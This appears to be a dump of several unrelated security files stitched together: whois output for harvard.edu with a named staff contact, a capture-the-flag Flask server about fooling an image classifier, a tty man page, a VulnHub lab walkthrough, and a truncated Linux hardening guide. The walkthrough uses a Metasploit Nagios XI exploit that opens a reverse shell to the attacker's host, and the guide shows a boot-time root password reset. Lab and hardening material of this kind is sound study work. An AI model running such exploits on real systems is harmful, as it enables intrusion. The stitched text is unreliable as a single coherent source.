52.0.0.0 - 52.144.63.255 netname: NON-RIPE-NCC-MANAGED-ADDRESS-BLOCK descr: IPv4 address block not managed by the RIPE NCC remarks: ------------------------------------------------------ remarks: remarks: You can find the whois server to query, or the remarks: IANA registry to query on this web page: remarks: http://www.iana.org/assignments/ipv4-address-space remarks: remarks: You can access databases of other RIRs at: remarks: remarks: AFRINIC (Africa) remarks: http://www.afrinic.net/ whois.afrinic.net remarks: remarks: APNIC (Asia Pacific) remarks: http://www.apnic.net/ whois.apnic.net remarks: remarks: ARIN (Northern America) remarks: http://www.arin.net/ whois.arin.net remarks: remarks: LACNIC (Latin America and the Carribean) remarks: http://www.lacnic.net/ whois.lacnic.net remarks: remarks: IANA IPV4 Recovered Address Space remarks: http://www.iana.org/assignments/ipv4-recovered-address-space/ipv4-recovered-address-space.xhtml remarks: remarks: ------------------------------------------------------ country: EU # Country is really world wide admin-c: IANA1-RIPE tech-c: IANA1-RIPE status: ALLOCATED UNSPECIFIED mnt-by: RIPE-NCC-HM-MNT mnt-lower: RIPE-NCC-HM-MNT mnt-routes: RIPE-NCC-RPSL-MNT created: 2016-09-26T14:44:02Z last-modified: 2016-09-26T14:44:02Z source: RIPE role: Internet Assigned Numbers Authority address: see http://www.iana.org. admin-c: IANA1-RIPE tech-c: IANA1-RIPE nic-hdl: IANA1-RIPE remarks: For more information on IANA services remarks: go to IANA web site at http://www.iana.org. mnt-by: RIPE-NCC-MNT created: 1970-01-01T00:00:00Z last-modified: 2001-09-22T09:31:27Z source: RIPE # Filtered % This query was served by the RIPE Database Query Service version 1.87.4 (DB-1) Gathered Inic-whois information for harvard.edu --------------------------------- Domain Name: HARVARD.EDU Registrant: Harvard University HUIT Network Services 60 Oxford Street Cambridge, MA 02138 UNITED STATES Administrative Contact: Luke Sullivan Manager, Network Systems Harvard University 60 Oxford Street Cambridge, MA 02138 UNITED STATES (617) 384-6640 luke_sullivan@harvard.edu Technical Contact: Network Operations Harvard University HUIT Network Services 60 Oxford Street Cambridge, MA 02138 UNITED STATES (617) 495-7777 netmanager@harvard.edu Name Servers: EXT-DNS-1.HARVARD.EDU 128.103.200.35 EXT-DNS-2.HARVARD.EDU 128.103.200.162 Domain record activated: 27-Jun-1985 Domain record last updated: 30-Dec-2015 Domain expires: 31-Jul-2017 Gathered Netcraft information for harvard.edu --------------------------------- Retrieving Netcraft.com information for harvard.edu Netcraft.com Information gathered Gathered Subdomain information for harvard.edu --------------------------------- Searching Google.com:80... Unable to connect: Socket Connect Error ``` [1]: http://mor-pah.net/software/dmitry-deepmagic-information-gathering-tool/ [2]: http://git.kali.org/gitweb/?p=packages/dmitry.git;a=summary [3]: https://asciinema.org/a/31154
sec-knowleage
from flask import Flask, request, redirect from imageai.Prediction import ImagePrediction import numpy as np from PIL import Image import os app = Flask(__name__) # Heard that these kind of models are vulnerable to adversarial attacks prediction = ImagePrediction() prediction.setModelTypeAsResNet() prediction.setModelPath("resnet50_weights_tf_dim_ordering_tf_kernels.h5") prediction.loadModel() BASE_IMAGE = np.asarray(Image.open("car.jpg")) def normalize(arr): rng = arr.max()-arr.min() amin = arr.min() return (arr-amin)/rng def diff(arr1, arr2): arr1 = normalize(arr1) arr2 = normalize(arr2) distance = arr1 - arr2 return np.max(np.sum(np.square(distance).reshape(arr1.shape[0], -1), axis=1)) @app.route('/task/upload/', methods=['POST',]) def hello_world(): answer = { "status": "fail to recognize image" } if request.method == 'POST': f = request.files['file'] I = np.asarray(Image.open(f)) if I.shape != (224,224, 3): return redirect(os.getenv("base_url", "http://0.0.0.0:8000") + "/fail.html") if diff(I, BASE_IMAGE) > 2: return redirect(os.getenv("base_url","http://0.0.0.0:8000" ) + "/fail.html") predictions, percentage_probabilities = prediction.predictImage(I, result_count=1, input_type="array") answer['classification_result'] = predictions[0] if answer['classification_result'] == 'racer': return {"flag": os.getenv("FLAG", "tutbudetflag")} return redirect(os.getenv("base_url", "http://0.0.0.0:8000" ) + "/sportscar.html") if __name__ == '__main__': app.run("0.0.0.0", 1488)
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH TTY 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 tty \- 显示连接到当前标准输入的终端设备的文件名 .SH 概述 \fBtty\fP [\fI\,选项\/\fP]... .SH 描述 .\" Add any additional description here .PP 显示连接到当前标准输入的终端设备的文件名。 .TP \fB\-s\fP, \fB\-\-silent\fP, \fB\-\-quiet\fP 什么都不显示,只返回一个退出状态 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .SH 作者 由 David MacKenzie 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH 参见 完整文档请见: <https://www.gnu.org/software/coreutils/tty> .br 或者在本地使用: info \(aq(coreutils) tty invocation\(aq
sec-knowleage
# Monitoring > https://download.vulnhub.com/monitoring/Monitoring.ova 靶场IP:`192.168.2.133` 扫描对外端口服务 ``` ┌──(root💀kali)-[~] └─# nmap -p1-65535 -sV 192.168.2.133 Starting Nmap 7.91 ( https://nmap.org ) at 2022-09-05 07:41 EDT Nmap scan report for 192.168.2.133 Host is up (0.00062s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) 25/tcp open smtp Postfix smtpd 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) 389/tcp open ldap OpenLDAP 2.2.X - 2.3.X 443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu)) 5667/tcp open tcpwrapped MAC Address: 00:0C:29:43:DC:A3 (VMware) Service Info: Host: ubuntu; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.68 seconds ``` 浏览器访问80端口 ![image-20220905194312987](../../.gitbook/assets/image-20220905194312987.png) 跟随链接访问管理后台 ![image-20220905195246754](../../.gitbook/assets/image-20220905195246754.png) 我们搜索 Nagios XI 的漏洞利用,我们发现了一个 authenticated_rce 漏洞利用。让我们加载 msfconsole 并加载漏洞 `nagios_xi_authenticated_rce`。 ``` msf6 exploit(linux/http/nagios_xi_authenticated_rce) > set rhosts 192.168.2.133 rhosts => 192.168.2.133 msf6 exploit(linux/http/nagios_xi_authenticated_rce) > set lhost 192.168.2.129 lhost => 192.168.2.129 msf6 exploit(linux/http/nagios_xi_authenticated_rce) > set password admin password => admin msf6 exploit(linux/http/nagios_xi_authenticated_rce) > run [*] Started reverse TCP handler on 192.168.2.129:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Attempting to authenticate to Nagios XI... [+] Successfully authenticated to Nagios XI [*] Target is Nagios XI with version 5.6.0 [+] The target appears to be vulnerable. [*] Uploading malicious 'check_ping' plugin... [*] Command Stager progress - 100.00% done (897/897 bytes) [+] Successfully uploaded plugin. [*] Executing plugin... [*] Waiting up to 300 seconds for the plugin to request the final payload... [*] Sending stage (3020772 bytes) to 192.168.2.133 [*] Meterpreter session 1 opened (192.168.2.129:4444 -> 192.168.2.133:40318) at 2022-09-05 07:54:37 -0400 [*] Deleting malicious 'check_ping' plugin... [+] Plugin deleted. ``` ``` shell python -c 'import pty;pty.spawn("/bin/bash")' cd /root ``` ![image-20230208153815756](../../.gitbook/assets/image-20230208153815756.png)
sec-knowleage
# Secure-Linux <p align="center"> <a href="https://commons.wikimedia.org/wiki/File:William_J._McCloskey_(1859%E2%80%931941),_Wrapped_Oranges,_1889._Oil_on_canvas._Amon_Carter_Museum_of_American_Art.jpg"><img src="../../../assets/img/banner/Secure-Linux.jpg" width="90%"></a> </p> <p align="center"> <a href="https://github.com/ellerbrock/open-source-badges/"><img src="../../../assets/img/Integrated/Linux/open-source.png" width="15%"></a> <a href="https://github.com/ellerbrock/open-source-badges/"><img src="../../../assets/img/Integrated/Linux/bash.png" width="15%"></a> </p> - `Linux 加固+维护+应急响应参考` - `文档内容仅限 Linux ,web 服务和中间件的加固内容请看` [加固](../../Security/BlueTeam/加固.md) --- ## 大纲 * [文件](#文件) * [可疑文件](#可疑文件) * [文件恢复](#文件恢复) * [系统](#系统) * [密码重置](#密码重置) * [会话](#会话) * [开机启动](#开机启动) * [账号](#账号) * [SELinux](#selinux) * [进程](#进程) * [系统完整性](#系统完整性) * [日志](#日志) * [Net](#Net) * [端口](#端口) * [Firewall](#firewall) * [禁ping](#禁ping) * [SSH](#ssh) * [文件共享](文件共享) * [加固](#加固) --- ## 文件 ### 可疑文件 #### 最近文件 ```bash find / -ctime -2 # 查找72小时内新增的文件 find ./ -mtime 0 -name "*.jsp" # 查找24小时内被修改的 JSP 文件 find / *.jsp -perm 4777 # 查找777的权限的文件 ``` #### 临时文件 ```bash ls -a /tmp # 查看临时目录 ``` #### 配置文件 ```bash strings /usr/sbin/sshd | egrep '[1-9]{1,3}.[1-9]{1,3}.' # 分析 sshd 文件,是否包括IP信息 ``` --- ### 文件恢复 `一点建议 : 业务系统,rm 删除后,没有立即关机,运行的系统会持续覆盖误删数据.所以对于重要数据,误删后请立即关机` **[foremost](http://foremost.sourceforge.net/)** ```bash apt-get install -y foremost rm -f /dev/sdb1/photo1.png foremost -t png -i /dev/sdb1 # 恢复完成后会在当前目录建立一个 output 目录,在 output 目录下会建立 png 子目录下会包括所有可以恢复的 png 格式的文件. # 需要说明的是 png 子目录下会包括的 png 格式的文件名称已经改变,另外 output 目录下的 audit.txt 文件是恢复文件列表. ``` **[extundelete](http://extundelete.sourceforge.net/)** ```bash apt-get install -y extundelete mkdir -p /backupdate/deldate mkfs.ext4 /dev/sdd1 mount /dev/sdd1 /backupdate cd /backupdate/deldate touch del1.txt echo " test 1" > del1.txt md5sum del1.txt # 获取文件校验码 66fb6627dbaa37721048e4549db3224d del1.txt rm -fr /backupdate/* umount /backupdate # 卸载文件系统或者挂载为只读 extundelete /dev/sdd1 --inode 2 #查询恢复数据信息,注意这里的 --inode 2 这里会扫描分区 : extundelete /dev/sdd1 --restore-file del1.txt # 如果恢复一个目录 extundelete /dev/sdd1 --restore-directory /backupdate/deldate # 恢复所有文件 extundelete /dev/sdd1 --restore-all # 获取恢复文件校验码,对比检测是否恢复成功 md5sum RECOVERED_FILES/ del1.txt 66fb6627dbaa37721048e4549db3224d RECOVERED_FILES/del1.txt ``` **[ext3grep](https://code.google.com/archive/p/ext3grep/downloads)** 如果被误删的文件在根分区,那么你最好重启计算机,进入单用户模式,以只读的方式挂载根分区,然后再进行恢复. 进入单用户模式后,根分区还是以读写方式 mount 的,用下面的命令,把挂载方式由读写(rw)改为只读(ro): `mount -o ro,remount / ` 如果被删除的文件不是根分区,也可以用 unmount 的方式将该分区卸载.假设文件在分区 /dev/sda3中,该分区挂载到 /home,那么我们用下面的命令来卸载: `umount /dev/sda3 ` 当然,在卸载前要保证没有程序在访问该分区,否则卸载会失败.所以,一般推荐进入单用户模式来恢复文件. *安装* 访问 https://code.google.com/archive/p/ext3grep/downloads 下载源代码,这里以 ext3grep-0.10.2.tar.gz 为例 ```bash yum install -y e2fsprogs yum install -y e2fsprogs-devel tar zxf ext3grep-0.10.2.tar.gz cd ./ext3grep-0.10.2 ./configure make make install ``` 如果 make 出错,修改 src/ext3.h ```C // ext3grep -- An ext3 file system investigation and undelete tool // //! @file ext3.h Declaration of ext3 types and macros. // // Copyright (C) 2008, by // // Carlo Wood, Run on IRC <carlo@alinoe.com> // RSA-1024 0x624ACAD5 1997-01-26 Sign & Encrypt // Fingerprint16 = 32 EC A7 B6 AC DB 65 A6 F6 F6 55 DD 1C DC FF 61 // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 2 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. #ifndef EXT3_H #define EXT3_H #ifdef _LINUX_EXT2_FS_H #error please include this file before any other includes of ext2fs/ext2_fs.h #endif #define s_clusters_per_group s_frags_per_group // Use the header files from e2progs (http://e2fsprogs.sourceforge.net) // We can use these headers and then everything named ext2 or ext3. #include <ext2fs/ext2_fs.h> // Definitions of ext2, ext3 and ext4. // All of the following is backwards compatible, so we can use the EXT2 versions. #define EXT3_BLOCK_SIZE EXT2_BLOCK_SIZE #define EXT3_FRAG_SIZE EXT2_FRAG_SIZE #define EXT3_BLOCKS_PER_GROUP EXT2_BLOCKS_PER_GROUP #define EXT3_INODES_PER_GROUP EXT2_INODES_PER_GROUP #define EXT3_FIRST_INO EXT2_FIRST_INO #define EXT3_INODE_SIZE EXT2_INODE_SIZE #define EXT3_BLOCK_SIZE_BITS EXT2_BLOCK_SIZE_BITS #define EXT3_DESC_PER_BLOCK EXT2_DESC_PER_BLOCK #define EXT3_DIR_ROUND EXT2_DIR_ROUND #define EXT3_DIR_REC_LEN EXT2_DIR_REC_LEN #define EXT3_FT_DIR EXT2_FT_DIR #define EXT3_FT_UNKNOWN EXT2_FT_UNKNOWN #define EXT3_FT_MAX EXT2_FT_MAX #define EXT3_MAX_BLOCK_SIZE EXT2_MAX_BLOCK_SIZE #define EXT3_NDIR_BLOCKS EXT2_NDIR_BLOCKS #define EXT3_IND_BLOCK EXT2_IND_BLOCK #define EXT3_DIND_BLOCK EXT2_DIND_BLOCK #define EXT3_TIND_BLOCK EXT2_TIND_BLOCK #define EXT3_VALID_FS EXT2_VALID_FS #define EXT3_ERROR_FS EXT2_ERROR_FS #define EXT3_FT_REG_FILE EXT2_FT_REG_FILE #define EXT3_FT_CHRDEV EXT2_FT_CHRDEV #define EXT3_FT_BLKDEV EXT2_FT_BLKDEV #define EXT3_FT_FIFO EXT2_FT_FIFO #define EXT3_FT_SOCK EXT2_FT_SOCK #define EXT3_FT_SYMLINK EXT2_FT_SYMLINK #define EXT3_N_BLOCKS EXT2_N_BLOCKS #define EXT3_DIR_PAD EXT2_DIR_PAD #define EXT3_ROOT_INO EXT2_ROOT_INO #define EXT3_I_SIZE EXT2_I_SIZE #define EXT3_FEATURE_COMPAT_DIR_PREALLOC EXT2_FEATURE_COMPAT_DIR_PREALLOC #define EXT3_FEATURE_COMPAT_IMAGIC_INODES EXT2_FEATURE_COMPAT_IMAGIC_INODES #define EXT3_FEATURE_COMPAT_EXT_ATTR EXT2_FEATURE_COMPAT_EXT_ATTR #define EXT3_FEATURE_COMPAT_RESIZE_INODE EXT2_FEATURE_COMPAT_RESIZE_INODE #define EXT3_FEATURE_COMPAT_DIR_INDEX EXT2_FEATURE_COMPAT_DIR_INDEX #define EXT3_FEATURE_INCOMPAT_COMPRESSION EXT2_FEATURE_INCOMPAT_COMPRESSION #define EXT3_FEATURE_INCOMPAT_FILETYPE EXT2_FEATURE_INCOMPAT_FILETYPE #define EXT3_FEATURE_INCOMPAT_META_BG EXT2_FEATURE_INCOMPAT_META_BG #define EXT3_FEATURE_RO_COMPAT_SPARSE_SUPER EXT2_FEATURE_RO_COMPAT_SPARSE_SUPER #define EXT3_FEATURE_RO_COMPAT_LARGE_FILE EXT2_FEATURE_RO_COMPAT_LARGE_FILE #define EXT3_FEATURE_RO_COMPAT_BTREE_DIR 0x0004 typedef ext2_super_block ext3_super_block; typedef ext2_group_desc ext3_group_desc; typedef ext2_inode ext3_inode; typedef ext2_dir_entry_2 ext3_dir_entry_2; // Get declaration of journal_superblock_t #include <ext2fs/ext2fs.h> // This header is a copy from e2fsprogs-1.40.7 except that the type // of 'journal_revoke_header_t::r_count' was changed from int to __s32. #include "kernel-jbd.h" #ifndef USE_PCH #include <stdint.h> #endif extern uint32_t inode_count_; // This (POD) struct protects it's members so we // can do access control for debugging purposes. struct Inode : protected ext3_inode { public: __u16 mode(void) const { return i_mode; } __u16 uid_low(void) const { return i_uid_low; } off_t size(void) const { return EXT3_I_SIZE(this); } __u32 atime(void) const { return i_atime; } __u32 ctime(void) const { return i_ctime; } __u32 mtime(void) const { return i_mtime; } __u32 dtime(void) const { return i_dtime; } __u16 gid_low(void) const { return i_gid_low; } __u16 links_count(void) const { return i_links_count; } __u32 blocks(void) const { return i_blocks; } __u32 flags(void) const { return i_flags; } __u32 const* block(void) const { return i_block; } __u32 generation(void) const { return i_generation; } __u32 file_acl(void) const { return i_file_acl; } __u32 dir_acl(void) const { return i_dir_acl; } __u32 faddr(void) const { return i_faddr; } __u16 uid_high(void) const { return i_uid_high; } __u16 gid_high(void) const { return i_gid_high; } #ifndef i_reseved2 #define i_reserved2 osd2.hurd2.h_i_author #endif __u32 reserved2(void) const { return i_reserved2; } void set_reserved2(__u32 val) { i_reserved2 = val; } // Returns true if this inode is part of an ORPHAN list. // In that case, dtime is overloaded to point to the next orphan and contains an inode number. bool is_orphan(void) const { // This relies on the fact that time_t is larger than the number of inodes. // Assuming we might deal with files as old as five years, then this would // go wrong for partitions larger than ~ 8 TB (assuming a block size of 4096 // and twice as many blocks as inodes). return i_links_count == 0 && i_atime && i_dtime < i_atime && i_dtime <= inode_count_; } // This returns true if dtime() is expected to contain a date. bool has_valid_dtime(void) const { return i_dtime && !is_orphan(); } // This returns true if the inode appears to contain data refering to a previously // deleted file, directory or symlink but does not contain the block list anymore. // That means it will return false for orphan-ed inodes, although they are basically // (partially) deleted. bool is_deleted(void) const { return i_links_count == 0 && i_mode && (i_block[0] == 0 || !((i_mode & 0xf000) == 0x4000 || (i_mode & 0xf000) == 0x8000)); } }; #endif // EXT3_H ``` *使用* 在开始恢复前,选择一个目录来存放被恢复的文件.ext3grep 程序会在当前目录下创建一个名为 RESTORED_FILES 的目录来存放被恢复的文件.因此在运行 ext3grep 命令前,先要切换到一个你可读写的目录中. 因为进入了单用户模式,并且将根分区设成了只读,那么只能把恢复出来的文件放在U盘中了.因此,先 cd /mnt 进入U盘目录.如果你有幸记得你误删除的文件名及其路径的话,就可以直接用下面的命令进行恢复了: ```bash ext3grep /dev/your-device --restore-file path/to/your/file/filename # 需要注意的是,上面的文件路径,是在该分区上文件路径.假设我们要恢复 /dev/sda3 分区上文件,这个分区原来的安装点是 /home,现在想恢复文件 /home//vi/tips.xml,那么输入的命令应该是: ext3grep /dev/sda3 --restore-file /vi/tips.xml # 如果你忘记了文件名,或者你误删除的是一个目录而你无法记全该目录中的文件,你可以先用下面的命令查询一下文件名: ext3grep /dev/sda3 --dump-names | tee filename.txt 上面的命令把 ext3grep 命令的输出记录到文件 filename.txt 中,你可以慢慢查看,或者使用 grep 命令过滤出你需要的信息. 当你知道了目录/文件的信息后,就可以用上面说的命令进行恢复了. # 这款软件不能按目录恢复文件,只能执行恢复全部命令: ext3grep /dev/sda3 --restore-all ``` *binlog* 开启 Binlog,让 ext3grep 从 Binlog 中恢复,对数据库场景有用. --- ## 系统 ### 密码重置 #### centos7 1. 在启动菜单选择启动内核,按 e 编辑,找到 rhgb quiet 一行,把 `rhgb quiet` 替换为 `init=/bin/bash` (临时生效) 2. 按 `CTRL+X` 进入单用户模式 3. 挂载根文件系统: `mount -o remount,rw /` 4. 使用 `passwd` 命令直接设置 root 密码: `passwd root` 输入两次新密码. 5. 最后,执行如下命令更新 SELinux: `touch /.autorelabel` 6. 进入正常模式: `exec /sbin/init` 现在可以使用新设置的 root 密码登录了. #### Ubuntu14 - 方案一 1. 重启电脑长按 shift 键直到进入进入 GRUB 引导模式,选择第二行 Ubuntu 高级选项, 选中直接回车 2. 按 e 进入(recovery mode) 编译kernel进行启动参数 3. 倒数第四行,删除 `recovery nomodeset` ,添加 `quiet splash rw init=/bin/bash` 。然后按 F10, 启动。 4. 运行后系统直接进入 root mode,输入:`passwd` - 方案二 1. 重启电脑长按 shift 键直到进入进入 GRUB 引导模式,选择第二行 Ubuntu 高级选项, 选中直接回车 2. 选择一个括号里是 recovery mode 的系统发行编号,回车进入 3. 选择 root 项,回车 4. 最下方输入 root 密码,回车,便会切换到 root 用户;此时需要输入此条命令 `mount -o remount,rw /` 回车,再用 `passwd 用户名` 便可以修改密码了; 5. 继续输入 `exit` 返回,选中 `resume`,回车,此时会跳出一个确认界面,再回车即可 --- ### 会话 #### 查 ```bash who # 查看当前登录用户 w # 查看登录用户行为 last # 查看登录用户历史 ``` #### 防 ```bash pkill -u linfengfeiye # 直接剔除用户 ps -ef| grep pts/0 # 得到用户登录相应的进程号 pid 后执行 kill -9 pid # 安全剔除用户 ``` #### 修改账户超时值,设置自动注销时间 ``` vim /etc/profile TMOUT=600 ``` #### 命令记录 ```bash histroy # 查看 root 的历史命令 ``` 进入 `/home` 各帐号目录下的 `.bash_history` 查看普通帐号的历史命令 **history优化** ```bash # 保存1万条命令 sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile # 记录IP,在 /etc/profile 的文件尾部添加如下行数配置信息 USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'` if [ "$USER_IP" = "" ] then USER_IP=`hostname` fi export HISTTIMEFORMAT="%F %T $USER_IP `whoami` " shopt -s histappend export PROMPT_COMMAND="history -a" # 让配置生效 source /etc/profile ``` --- ### 开机启动 #### 查看开机启动服务 ```bash chkconfig # 查看开机启动服务命令 chkconfig --list | grep "3:启用\|3:开\|3:on\|5:启用\|5:开\|5:on" ls /etc/init.d # 查看开机启动配置文件命令 cat /etc/rc.local # 查看 rc 启动文件 ls /etc/rc.d/rc[0~6].d runlevel # 查看运行级别命令 ``` #### 查看计划任务 ```bash crontab -l # 计划任务列表 ls -alh /var/spool/cron # 默认编写的 crontab 文件会保存在 /var/spool/cron/用户名 下 ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root ``` --- ### 账号 #### 异常查找 ```bash awk -F: '{if($3==0||$4==0)print $1}' /etc/passwd # 查看 UID\GID 为0的帐号 awk -F: '{if($7!="/usr/sbin/nologin"&&$7!="/sbin/nologin")print $1}' /etc/passwd # 查看能够登录的帐号 awk '/\$1|\$6/{print $1}' /etc/shadow # 查询可以远程登录的帐号信息 lastlog # 系统中所有用户最近一次登录信息 lastb # 显示用户错误的登录列表 users # 打印当前登录的用户,每个用户名对应一个登录会话。如果一个用户不止一个登录会话,其用户名显示相同次数 ``` #### 异常设置 **/etc/passwd** - 若用户 ID=0,则表示该用户拥有超级用户的权限 - 检查是否有多个 ID=0 - 禁用或删除多余的账号 **/etc/login.defs** ```bash PASS_MAX_DAYS 90 # 用户的密码最长使用天数 PASS_MIN_DAYS 0 # 两次修改密码的最小时间间隔 PASS_MIN_LEN 7 # 密码的最小长度 PASS_WARN_AGE 9 # 密码过期前多少天开始提示 ``` #### 当查到异常用户时,需要立即禁用 ```bash usermod -L user # 禁用帐号,帐号无法登录,/etc/shadow第二栏为!开头 userdel user # 删除user用户 userdel -r admin # 将删除user用户,并且将/home目录下的admin目录一并删除 ``` #### 安全配置 **设置账户锁定登录失败锁定次数、锁定时间** ```bash vim /etc/pam.d/system-auth auth required pam_tally.so onerr=fail deny=6 unlock_time=300 # 设置为密码连续输错6次,锁定时间300秒 auth required pam_tally.so deny=2 unlock_time=60 even_day_root root_unlock_time=60 ``` #### 安全审计 ```bash ps -ef | grep auditd # 查看是否开启系统安全审计功能 more /etc/audit/audit.rules # 查看审计的规则文件 - w 文件 -p 权限(r读 w写 x执行 a修改文件属性) -k 关键字 - w /etc/passwd -p wa -k passwd_changes # 对重要文件的操作行为进行监控 - a -系列动作 -S 系统调用名称 -F 字段-值 -k 关键字 - a exit,always -S mount -S umount # 对系统调用进行监控 more /etc/audit/auditd.conf # 查看安全事件配置 ausearch -i | less # 查看审计日志 more /var/log/audit/audit.log # 查看审计日志 ``` **audit** linux audit 子系统是一个用于收集记录系统、内核、用户进程发生的行为事件的一种安全审计系统。该系统可以可靠地收集有关上任何与安全相关(或与安全无关)事件的信息,它可以帮助跟踪在系统上执行过的一些操作。 audit 和 syslog 有本质区别。syslog 记录的信息有限,主要目的是软件调试,对于用户的操作行为(如某用户修改删除了某文件)却无法通过这些日志文件来查看。而 audit 的目的则不同,它是 linux 安全体系的重要组成部分,是一种 “被动” 的防御体系。 ```bash yum install audit*.* -y # 安装 audit service auditd start # 启动 audit service auditd status # 查看 audit 状态 # 开启了 autid 服务后,所有的审计日志会记录在 /var/log/audit/audit.log 文件中。 ``` audit 安装后会生成 2 个配置文件: * /etc/audit/auditd.conf * /etc/audit/audit.rules 具体配置信息请查看 [文件](./笔记/文件.md#etc) audit 常用命令 ```bash ausearch # 查询 audit log 工具 aureport # 输出 audit 系统报告 auditctl -l # 查看 audit 规则 aureport --user aureport --file aureport --summary # 配置记录命令rm命令执行 auditctl -w /bin/rm -p x -k removefile ``` --- ### SELinux **关闭 SELinux** - 需要重启 ```vim vim /etc/selinux/config SELINUX=disabled ``` - 不需要重启 `setenforce 0` --- ### 进程 #### 进程定位 ```bash ps -aux # 列出所有进程以及相关信息命令 ps -ef service --status-all | grep running top # 总览系统全面信息命令 pidof name # 定位程序的 pid pidof -x name # 定位脚本的 pid lsof -g gid # 寻找恶意文件关联的 lib 文件 ``` #### 进程限制 ```bash ulimit -u 20 # 临时性允许用户最多创建 20 个进程,预防类似 fork 炸弹 ``` ```vim vim /etc/security/limits.conf user1 - nproc 20 # 退出后重新登录,就会发现最大进程数已经更改为 20 了 ``` #### 负载 **文章** - [Linux系统清除缓存](https://www.cnblogs.com/jiu0821/p/9854704.html) **查询负载、进程监控** ```bash ps aux | grep Z # 列出进程表中所有僵尸进程 ps aux|head -1;ps aux|grep -v PID|sort -rn -k +3|head # 获取占用CPU资源最多的10个进程 ps aux|head -1;ps aux|grep -v PID|sort -rn -k +4|head # 获取占用内存资源最多的10个进程 ``` **清理缓存** ```bash sync # sync 命令做同步,以确保文件系统的完整性,将所有未写的系统缓冲区写到磁盘中,包含已修改的 i-node、已延迟的块 I/O 和读写映射文件.否则在释放缓存的过程中,可能会丢失未保存的文件. echo 1 > /proc/sys/vm/drop_caches # 清理 pagecache(页面缓存) echo 2 > /proc/sys/vm/drop_caches # 清理 dentries(目录缓存)和inodes echo 3 > /proc/sys/vm/drop_caches # 清理 pagecache、dentries 和 inodes sync ``` --- ### 系统完整性 通过 rpm 自带的 -Va 来校验检查所有的 rpm 软件包,查看哪些命令是否被替换了 ```bash rpm -Va # 如果一切均校验正常将不会产生任何输出,如果有不一致的地方,就会显示出来,输出格式是8位长字符串,每个字符都用以表示文件与RPM数据库中一种属性的比较结果 ,如果是. (点) 则表示测试通过。 验证内容中的8个信息的具体内容如下: - S 文件大小是否改变 - M 文件的类型或文件的权限(rwx)是否被改变 - 5 文件MD5校验是否改变(可以看成文件内容是否改变) - D 设备中,从代码是否改变 - L 文件路径是否改变 - U 文件的属主(所有者)是否改变 - G 文件的属组是否改变 - T 文件的修改时间是否改变 ``` **还原替换命令** ```bash rpm -qf /bin/ls # 查询 ls 命令属于哪个软件包 mv /bin/ls /tmp # 先把 ls 转移到 tmp 目录下,造成 ls 命令丢失的假象 rpm2cpio /mnt/cdrom/Packages/coreutils-8.4-19.el6.i686.rpm | cpio -idv ./bin/ls # 提取 rpm 包中 ls 命令到当前目录的/bin/ls下 cp /root/bin/ls /bin/ # 把 ls 命令复制到 /bin/ 目录,修复文件丢失 ``` --- ### 日志 **系统日志** - 内容见 [日志](./笔记/日志.md) 对于日志文件的保护 ```bash chattr +a xxx chattr +a -R xxx # 递归式增加a权限 # a选项为append (追加) only ,即给日志文件加上a权限后,将只可以追加,不可以删除和修改之前的内容。 ``` **web日志** - 内容见 [取证](../../Security/BlueTeam/取证.md#中间件服务器程序日志) 中间件服务器程序日志部分 **数据库日志** - 内容见 [取证](../../Security/BlueTeam/取证.md#数据库取证) 数据库取证部分 --- ## Net ### 端口 **查** ```bash getent services # 查看所有服务的默认端口名称和端口号 lsof -i -P # 显示进程使用端口使用情况 lsof -i:22 # 只查 22 端口 ss -tnlp ss -tnlp | grep ssh ss -tnlp | grep ":22" netstat -tnlp netstat -tnlp | grep ssh nmap -sV -p 22 localhost ``` 更多内容查看 [网络](./笔记/信息.md#网络) **防** - [EtherDream/anti-portscan: 使用 iptables 防止端口扫描](https://github.com/EtherDream/anti-portscan) ```bash git clone https://github.com/EtherDream/anti-portscan cd anti-portscan vim install.sh # 修改需要打开的端口 sh install.sh ``` --- ### Firewall **查** ```bash firewall-cmd --list-services # 查看防火墙设置 firewall-cmd --state # 显示防火墙状态 firewall-cmd --get-zones # 列出当前有几个 zone firewall-cmd --get-active-zones # 取得当前活动的 zones firewall-cmd --get-default-zone # 取得默认的 zone firewall-cmd --get-service # 取得当前支持 service firewall-cmd --get-service --permanent # 检查下一次重载后将激活的服务 firewall-cmd --zone=public --list-ports # 列出 zone public 端口 firewall-cmd --zone=public --list-all # 列出 zone public 当前设置 cat /etc/hosts.deny # tcp_Wrappers 防火墙的配置文件,详情见 文件.md cat /etc/hosts.allow # tcp_Wrappers 防火墙的配置文件,详情见 文件.md ``` **防** ```bash firewall-cmd --permanent --zone=public --remove-service=ssh firewall-cmd --permanent --zone=public --add-service=http firewall-cmd --permanent --zone=internal 